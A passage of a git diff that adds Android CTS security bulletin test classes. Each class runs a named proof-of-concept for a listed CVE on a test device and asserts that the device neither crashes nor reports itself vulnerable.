+ assumeFalse(moduleIsPlayManaged("com.google.android.conscrypt"));
+ String binaryName = "CVE-2016-2182";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.checkMinAddress(false);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_6328.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_6328.java
new file mode 100644
index 0000000..b75dd3a
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_6328.java
@@ -0,0 +1,40 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.device.ITestDevice;
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2016_6328 extends SecurityTestCase {
+
+ /**
+ * b/162602132
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2021-01")
+ @Test
+ public void testPocCVE_2016_6328() throws Exception {
+ pocPusher.only32();
+ String inputFiles[] = {"cve_2016_6328.mp4"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2016-6328",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0684.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0684.java
new file mode 100644
index 0000000..4dd4b39
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0684.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2017_0684 extends SecurityTestCase {
+
+ /**
+ * b/35421151
+ * Vulnerability Behaviour: SIGSEGV in media.codec
+ */
+ @SecurityTest(minPatchLevel = "2017-07")
+ @Test
+ public void testPocCVE_2017_0684() throws Exception {
+ pocPusher.only32();
+ String errPattern[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0684", null, getDevice(),
+ errPattern);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0726.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0726.java
new file mode 100644
index 0000000..5a17589
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0726.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2017_0726 extends SecurityTestCase {
+
+ /**
+ * b/36389123
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2017-08")
+ @Test
+ public void testPocCVE_2017_0726() throws Exception {
+ pocPusher.only64();
+ String inputFiles[] = {"cve_2017_0726.mp4"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0726",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_13194.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_13194.java
new file mode 100644
index 0000000..ab83ce3
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_13194.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+import static org.junit.Assume.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2017_13194 extends SecurityTestCase {
+
+ /**
+ * b/64710201
+ * Vulnerability Behaviour: SIGSEGV in media.codec
+ */
+ @SecurityTest(minPatchLevel = "2018-01")
+ @Test
+ public void testPocCVE_2017_13194() throws Exception {
+ assumeFalse(moduleIsPlayManaged("com.google.android.media.swcodec"));
+ pocPusher.only64();
+ String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-13194", null, getDevice(),
+ processPatternStrings);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9584.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9584.java
new file mode 100644
index 0000000..df21402
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9584.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2018_9584 extends SecurityTestCase {
+
+ /**
+ * b/114047681
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2019-01")
+ @Test
+ public void testPocCVE_2018_9584() throws Exception {
+ pocPusher.only64();
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2018-9584", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9585.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9585.java
new file mode 100644
index 0000000..bf0ff34
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9585.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2018_9585 extends SecurityTestCase {
+
+ /**
+ * b/117554809
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2019-01")
+ @Test
+ public void testPocCVE_2018_9585() throws Exception {
+ pocPusher.only64();
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2018-9585", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2011.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2011.java
new file mode 100644
index 0000000..f92c876
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2011.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.device.ITestDevice;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2011 extends SecurityTestCase {
+
+ /**
+ * b/120084106
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2019-03")
+ @Test
+ public void testPocCVE_2019_2011() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2011", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2013.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2013.java
new file mode 100644
index 0000000..b1899ca
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2013.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2013 extends SecurityTestCase {
+
+ /**
+ * b/120497583
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2019-03")
+ @Test
+ public void testPocCVE_2019_2013() throws Exception {
+ pocPusher.only64();
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2013", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2019.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2019.java
new file mode 100644
index 0000000..a97c679
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2019.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2019 extends SecurityTestCase {
+
+ /**
+ * b/115635871
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2019-03")
+ @Test
+ public void testPocCVE_2019_2019() throws Exception {
+ pocPusher.only64();
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2019", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2044.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2044.java
new file mode 100644
index 0000000..6072d12
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2044.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2044 extends SecurityTestCase {
+
+ /**
+ * b/123701862
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2019-05")
+ @Test
+ public void testPocCVE_2019_2044() throws Exception {
+ pocPusher.only32();
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2044", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2046.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2046.java
new file mode 100644
index 0000000..783bfa1
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2046.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.device.ITestDevice;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2046 extends SecurityTestCase {
+
+ /**
+ * b/117556220
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2019-05")
+ @Test
+ public void testPocCVE_2019_2046() throws Exception {
+ pocPusher.only64();
+ AdbUtils.runProxyAutoConfig("cve_2019_2046", "true", getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2099.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2099.java
new file mode 100644
index 0000000..149d385
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2099.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2099 extends SecurityTestCase {
+
+ /**
+ * b/123583388
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ **/
+ @SecurityTest(minPatchLevel = "2019-06")
+ @Test
+ public void testPocCVE_2019_2099() throws Exception {
+ pocPusher.only64();
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2099", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2115.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2115.java
new file mode 100644
index 0000000..38c8be0
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2115.java
@@ -0,0 +1,37 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2115 extends SecurityTestCase {
+
+ /**
+ * b/129768470
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2019-09")
+ @Test
+ public void testPocCVE_2019_2115() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2115", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2135.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2135.java
new file mode 100644
index 0000000..db98e28
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2135.java
@@ -0,0 +1,39 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import com.android.tradefed.device.ITestDevice;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2135 extends SecurityTestCase {
+
+ /**
+ * b/125900276
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2019-08")
+ @Test
+ public void testPocCVE_2019_2135() throws Exception {
+ pocPusher.only64();
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE_2019_2135", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2136.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2136.java
new file mode 100644
index 0000000..e4b41cc
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2136.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.device.ITestDevice;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2136 extends SecurityTestCase {
+
+ /**
+ * b/132650049
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2019-08")
+ @Test
+ public void testPocCVE_2019_2136() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2136", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_9247.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_9247.java
new file mode 100644
index 0000000..ad9e06f
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_9247.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.device.ITestDevice;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_9247 extends SecurityTestCase {
+
+ /**
+ * b/120426166
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2019-09")
+ @Test
+ public void testPocCVE_2019_9247() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-9247", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0006.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0006.java
new file mode 100644
index 0000000..7b3fb17
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0006.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0006 extends SecurityTestCase {
+
+ /**
+ * b/139738828
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2020-01")
+ @Test
+ public void testPocCVE_2020_0006() throws Exception {
+ pocPusher.only64();
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0006", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0037.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0037.java
new file mode 100644
index 0000000..4e0a4a6
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0037.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0037 extends SecurityTestCase {
+
+ /**
+ * b/143106535
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2020-03")
+ @Test
+ public void testPocCVE_2020_0037() throws Exception {
+ pocPusher.only64();
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0037", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0038.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0038.java
new file mode 100644
index 0000000..6759c30
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0038.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0038 extends SecurityTestCase {
+
+ /**
+ * b/143109193
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2020-03")
+ @Test
+ public void testPocCVE_2020_0038() throws Exception {
+ pocPusher.only64();
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0038", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0039.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0039.java
new file mode 100644
index 0000000..f0f3323
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0039.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
